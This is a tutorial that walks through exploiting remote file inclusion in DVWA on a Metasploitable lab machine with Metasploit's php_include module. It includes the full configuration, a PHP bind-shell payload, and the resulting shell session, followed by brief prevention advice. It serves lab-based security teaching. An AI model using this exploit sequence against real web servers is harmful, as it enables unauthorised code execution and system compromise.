How To: Exploit Remote File Inclusion to Get a Shell

Exploit Remote File Inclusion to Get a Shell

A simple security flaw can allow an attacker to gain a strong foothold with little effort on their part. When a web application permits remotely hosted files to be loaded without any validation, a whole can of worms is opened up, with consequences ranging from simple website defacement to full-on code execution. For this reason, RFI can be a promising path to obtaining a shell.

Today, we will be using DVWA, a vulnerable web application included with the Metasploitable 2 virtual machine, as the target. Kali Linux and the Metasploit Framework will serve as the tools of attack.

What Is RFI?

Remote file inclusion (RFI) is a type of vulnerability found in web applications that allows an attacker to supply a remote file to the application. The file can be dynamically processed in a variety of ways, including code execution on the server, disclosure of sensitive information, and client-side code execution.

RFI occurs when the path of a file taken as input is not properly sanitized, allowing an external URL to be processed over HTTP. This type of vulnerability presents itself most commonly in PHP applications, but it can also be found in ASP, JSP, and other technologies.

In this guide, we will be exploiting an RFI vulnerability to get a command shell on the target system.

Step 1: Initial Setup

Before we get started, we need to configure a few things in order for this attack to be successful. First, start Metasploitable and log in using msfadmin as the credentials. Next, on Kali, open DVWA in the browser and navigate to the "DVWA Security" tab. Set the security level to low.

Back on Metasploitable, we need to make sure a couple settings are enabled in the PHP configuration file for demonstration purposes. The allow_url_fopen option allows access to files on remote hosts or servers, while the allow_url_include option allows a remote file to utilize a URL rather than a local file path. These settings can be found in the php.ini file, so let's edit it to make sure they are enabled with:

sudo nano /etc/php5/cgi/php.ini

Press Ctrl-W to search for the string "allow_url," and ensure that allow_url_fopen and allow_url_include are both set to On. Press Ctrl-X, Y, and Enter to save the file. Finally, restart the Apache server by entering the following command:

sudo /etc/init.d/apache2 restart

Next, we need to create a test file to check for RFI. On our Kali machine, create the file in /var/www/html so it's accessible from a web browser.

nano /var/www/html/test.php

Enter some text, like "Vulnerable to RFI!" and save the file. Now, restart Apache and we should be good to go.

service apache2 restart

Step 2: Check for RFI

In order to check if an RFI vulnerability exists, we can simply ask the web application in question to retrieve the file we created earlier. Go to the "File Inclusion" page in DVWA, and replace the page being requested with the path of our test file being hosted on Kali.

When the page loads, we can see the text from our test file, indicating that this page is indeed vulnerable to RFI.

From here, we could try to invoke a shell manually by uploading an appropriate script, but there's a handy Metasploit module that makes this process even easier.

Step 3: Exploit & Get Shell

The first thing we need to do is obtain some cookie information for this exploit to work smoothly. In DVWA, reload the page and use "Inspect Element" to view the request.

We will need the cookie information containing the security level and session ID in just a bit.

Fire up Metasploit by typing msfconsole in the terminal. We will be using the php_include module; locate it by entering search php_include. Now type use exploit/unix/webapp/php_include to load the module. From here, we can take a look at the settings:

msf exploit(unix/webapp/php_include) > options

Module options (exploit/unix/webapp/php_include):

   Name      Current Setting                                                      Required  Description
   ----      ---------------                                                      --------  -----------
   HEADERS                                                                        no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
   PATH      /                                                                    yes       The base directory to prepend to the URL to try
   PHPRFIDB  /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
   PHPURI                                                                         no        The URI to request, with the include parameter changed to XXpathXX
   POSTDATA                                                                       no        The POST data to send, with the include parameter changed to XXpathXX
   Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                                                          yes       The target address
   RPORT     80                                                                   yes       The target port (TCP)
   SRVHOST                                                              yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT   8080                                                                 yes       The local port to listen on.
   SSL       false                                                                no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                                                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                                                        no        The URI to use for this exploit (default is random)
   VHOST                                                                          no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

First, set the target address to Metasploitable's IP address. Next, set the headers option to the cookie value that we obtained earlier. We also need to set the path to the base directory of the page, followed by the specific URI to request. Metasploit will automatically know the endpoint to attack by replacing the parameter with XXpathXX.

msf exploit(unix/webapp/php_include) > set rhost
rhost =>
msf exploit(unix/webapp/php_include) > set headers "Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee"
headers => Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee
msf exploit(unix/webapp/php_include) > set path /dvwa/vulnerabilities/fi/
path => /dvwa/vulnerabilities/fi/
msf exploit(unix/webapp/php_include) > set phpuri /?page=XXpathXX
phpuri => /?page=XXpathXX

Now we're ready to choose a payload.

msf exploit(unix/webapp/php_include) > show payloads

Compatible Payloads

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   generic/custom                                       normal  Custom Payload
   generic/shell_bind_tcp                               normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                            normal  Generic Command Shell, Reverse TCP Inline
   php/bind_perl                                        normal  PHP Command Shell, Bind TCP (via Perl)
   php/bind_perl_ipv6                                   normal  PHP Command Shell, Bind TCP (via perl) IPv6
   php/bind_php                                         normal  PHP Command Shell, Bind TCP (via PHP)
   php/bind_php_ipv6                                    normal  PHP Command Shell, Bind TCP (via php) IPv6
   php/download_exec                                    normal  PHP Executable Download and Execute
   php/exec                                             normal  PHP Execute Command
   php/meterpreter/bind_tcp                             normal  PHP Meterpreter, Bind TCP Stager
   php/meterpreter/bind_tcp_ipv6                        normal  PHP Meterpreter, Bind TCP Stager IPv6
   php/meterpreter/bind_tcp_ipv6_uuid                   normal  PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   php/meterpreter/bind_tcp_uuid                        normal  PHP Meterpreter, Bind TCP Stager with UUID Support
   php/meterpreter/reverse_tcp                          normal  PHP Meterpreter, PHP Reverse TCP Stager
   php/meterpreter/reverse_tcp_uuid                     normal  PHP Meterpreter, PHP Reverse TCP Stager
   php/meterpreter_reverse_tcp                          normal  PHP Meterpreter, Reverse TCP Inline
   php/reverse_perl                                     normal  PHP Command, Double Reverse TCP Connection (via Perl)
   php/reverse_php                                      normal  PHP Command Shell, Reverse TCP (via PHP)
   php/shell_findsock                                   normal  PHP Command Shell, Find Sock

Set this to a simple PHP bind shell, and type run to launch the exploit.

msf exploit(unix/webapp/php_include) > set payload php/bind_php
payload => php/bind_php
msf exploit(unix/webapp/php_include) > run

[*] - Using URL:
[*] - Local IP:
[*] - PHP include server started.
[*] Started bind TCP handler against
[*] Command shell session 1 opened ( -> at 2018-09-05 11:48:37 -0500

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

A session is opened and we can issue commands like id and uname -a to view information about the system now that we have a shell.

Preventing RFI

RFI can be a particularly nasty vulnerability, especially when an attacker can get a shell and execute commands like we demonstrated. Luckily, preventing RFI is easier than you think.

The most effective method of prevention is to avoid including files as user-supplied input altogether. This will drastically reduce the attack surface, making it nearly impossible for an opponent to include malicious files. If this isn't feasible, a whitelist of files allowed to be included can be utilized by the application.

In any case, modern versions of PHP will typically disable the allow_url_include option by default, which prevents attackers from including malicious files remotely.

Wrapping Up RFI

Like many other vulnerabilities found in web applications, RFI stems from the practice of poor user input sanitation — in this case, file paths allowing a remote file to be loaded by the application. This can lead to dangerous effects, such as sensitive information disclosure and code execution. We learned how to test for this vulnerability and ultimately got a shell on the target using a helpful Metasploit module. Although RFI can occur in different types of applications, the number of outdated and insecure PHP applications on the web makes this particular vulnerability worth exploring.

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover image by lmonk72/Pixabay; Screenshots by drd_/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest